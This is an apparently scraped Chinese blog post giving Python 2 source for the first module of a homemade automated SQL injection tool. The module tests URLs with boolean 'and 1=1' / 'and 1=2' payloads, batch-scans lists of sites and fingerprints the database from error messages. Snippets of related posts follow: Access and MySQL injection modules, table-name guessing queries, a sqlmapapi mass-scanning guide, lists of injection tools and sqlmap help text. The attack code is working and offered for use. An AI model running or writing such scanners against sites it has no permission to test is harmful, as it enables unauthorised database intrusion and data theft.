Python编写SQL注入工具(1)

编写原由:自学了一点SQL注入和Python的知识.虽然,早就有了非常好的注入工具Sqlmap,但自己想写一个自动注入的工具玩玩,写的不好之处,还望不吝指正.

第一部分:注入点测试模块(injectTest.py)

#coding=gb2312
import urllib
import os
import string
from re import search

class injectTest():
    def __init__(self,url=‘‘):
        self.url=url             #待检测网址,默认为空
        self.a=‘%20and%201=1‘  #检测语句
        self.b=‘%20and%201=2‘
        self.urls=[]             #存在注入的urls

    #检测单个网址的函数
    def judgeUrl(self):
        page=urllib.urlopen(self.url).read()
        pagea=urllib.urlopen(self.url+self.a).read()
        pageb=urllib.urlopen(self.url+self.b).read()
        if page==pagea and page!=pageb:
            print ‘网址‘,self.url,‘可能存在注入点!‘
            return True
        else:
            print ‘网址:‘,self.url,‘不存在注入点!‘
            return False

    #判断待检测的网址文件是否存在
    def fileExists(self,name):
        path=os.getcwd()
        filepath=path+‘\\‘
        filepath=filepath+name
        return os.path.exists(filepath)

    #进行批量检测
    def judgeUrls(self,file):
        self.fileExists(file)
        #如果不存在默认检测的网址文件,则由用户自行输入待检测的文件
        while not self.fileExists(file):
            print ‘待检测网址文件不存在‘
            file=str(raw_input(‘请输入待检测的网址文件:‘))
            self.fileExists(file)
        urls=open(file,‘r‘)
        for url in urls.readlines():
            print ‘正在检测:‘,url
            page=urllib.urlopen(url).read()
            pagea=urllib.urlopen(url+self.a).read()
            pageb=urllib.urlopen(url+self.b).read()
            if page==pagea and page!=pageb:
                self.urls.append(url)
            else:
                continue
        if len(self.urls):
            print ‘以下网址可能存在注入点:‘
            for u in self.urls:
                print u
        else:
            print ‘该文件中不存在有注入的网址!‘

    #判断有注入的网址的数据库类型
    #如果不存在回显错误,则可能不能判断出数据库的类型
    def whatDatabase(self):
        db=‘‘
        sql=string.join([‘%20and20%user>0‘],‘‘)
        pagex=urllib.urlopen(self.url+sql).read()
        if search(‘ODBC Microsoft Access‘,pagex) or search(‘Microsoft JET Database‘,pagex) :
            print ‘数据库:Access‘
            db=‘Access‘
            return db
        elif search(‘SQL Server‘,pagex) or search(‘nvarchar‘,pagex):
            print ‘数据库:MSSQL‘
            db=‘MSSQL‘
            return  db
        elif search(‘You have an error in your SQL syntax‘,pagex) or search(‘Query failed‘,pagex) or search(‘SQL query failed‘,pagex) or search(‘mysql_fetch_‘,pagex) or search(‘mysql_num_rows‘,pagex) or search(‘The used SELECT statements have a different number of columns‘,pagex):
            print ‘数据库:MYSQL‘
            db=‘MYSQL‘
            return db
        else:
            print ‘未判断出数据库类型!‘
            return db
时间: 2024-12-23 18:35:36

Python编写SQL注入工具(1)的相关文章

Python编写SQL注入工具(2)

Access注入模块编写 #coding=gb2312 import urllib import string #定义Access注入函数 class AccessInject(): def __init__(self,url): self.url=url self.tableNames=[] self.cloumnNames=[] self.length=0 #定义获取表名的函数,使用文件猜解的方式 #主要SQL语句:.and exists (select * from 数据库表名) def

Python编写SQL注入工具(3)

Mysql注入模块 #coding:gb2312 import urllib import string import binascii import re class mysqlInject(): def __init__(self,url): self.db='database()' self.url=url #待检测的网址 self.dblen=0 #数据库的长度 self.counts=0 #字段数 self.tables=[] #表 self.dbname='' # 检测数据库的版本

如何编写一个SQL注入工具

0x01  前言 一直在思考如何编写一个自动化注入工具,这款工具不用太复杂,但是可以用最简单.最直接的方式来获取数据库信息,根据自定义构造的payload来绕过防护,这样子就可以. 0x02 SQL注入工具 A.联合查询 union select 实现起来最为简单,报错注入的实现方式也基本一致,主要思路:获取所有数据库名--选择数据库--查看这个数据库下所有表---选择表--查询这个表下所有列名. 代码详情: #! /usr/bin/env python # _*_ coding:utf-8 _

利用sqlmapapi打造自动化SQL注入工具

友链:http://www.freebuf.com/sectool/74445.html 0×01 前言 各位看官看到标题吐槽帝就开始了:已经有了各种各样的注入工具,为什么还要手工打造一个? 事实上,做为一名苦逼乙方测试工程师以及漏洞盒子屌丝白帽子 ,在疲于应对各种死缠滥打的甲方以及成堆的web测试需求时,我经常遇到以下场景: (1)有大批量的网站需要检测的场景 乙方工程师工作辛苦劳累从来都不抱怨,有项目一定都是最能抗的,向无数奋斗在一线的乙方工程师致敬! (2)系统内部业务复杂可能会存在众多测

SQL 注入工具集合

众所周知,SQL注入攻击是最为常见的Web应用程序攻击技术.同时SQL注入攻击所带来的安全破坏也是不可弥补的.以下罗列的10款SQL注入工具可帮助管理员及时检测存在的漏洞. BSQL Hacker BSQL Hacker是由Portcullis实验室开发的,BSQL Hacker 是一个SQL自动注入工具(支持SQL盲注),其设计的目的是希望能对任何的数据库进行SQL溢出注入. BSQL Hacker的适用群体是那些对注入有经验的使用者和那些想进行自动SQL注入的人群.BSQL Hacker可自

十大关系数据库SQL注入工具一览

摘要:众所周知,SQL注入攻击是最为常见的Web应用程序攻击技术.同时SQL注入攻击所带来的安全破坏也是不可弥补的.以下罗列的10款SQL工具可帮助管理员及时检测存在的漏洞. BSQL Hacker BSQL Hacker是由Portcullis实验室开发的,BSQL Hacker 是一个SQL自动注入工具(支持SQL盲注),其设计的目的是希望能对任何的数据库进... 众所周知,SQL注入攻击是最为常见的Web应用程序攻击技术.同时SQL注入攻击所带来的安全破坏也是不可弥补的.以下罗列的10款S

10个SQL注入工具(转载)

众所周知,SQL注入攻击是最为常见的Web应用程序攻击技术.同时SQL注入攻击所带来的安全破坏也是不可弥补的.以下罗列的10款SQL注入工具可帮助管理员及时检测存在的漏洞. BSQL Hacker 10个SQL注入工具 BSQL Hacker是由Portcullis实验室开发的,BSQL Hacker 是一个SQL自动注入工具(支持SQL盲注),其设计的目的是希望能对任何的数据库进行SQL溢出注入. BSQL Hacker的适用群体是那些对注入有经验的使用者和那些想进行自动SQL注入的人群.BS

10 个 SQL 注入工具

BSQL Hacker BSQL Hacker是由Portcullis实验室开发的,BSQL Hacker 是一个SQL自动注入工具(支持SQL盲注),其设计的目的是希望能对任何的数据库进行SQL溢出注入. BSQL Hacker的适用群体是那些对注入有经验的使用者和那些想进行自动SQL注入的人群.BSQL Hacker可自动对Oracle和MySQL数据库进行攻击,并自动提取数据库的数据和架构. The Mole The Mole是一款开源的自动化SQL注入工具,其可绕过IPS/IDS(入侵防

sql注入工具:sqlmap命令

sqlmap是一款专业的sql注入工具, 让你告别人工注入, 程序高效自动注入 前提是你有找到注入点 , 工具的官方网站:http://sqlmap.org/ kali系统默认安装sqlmap, 不需要额外安装: sqlmap的命令行帮助: ___ __H__ ___ ___[.]_____ ___ ___ {1.1.11#stable} |_ -| . [,] | .'| . | |___|_ [']_|_|_|__,| _| |_|V |_| http://sqlmap.org Usage: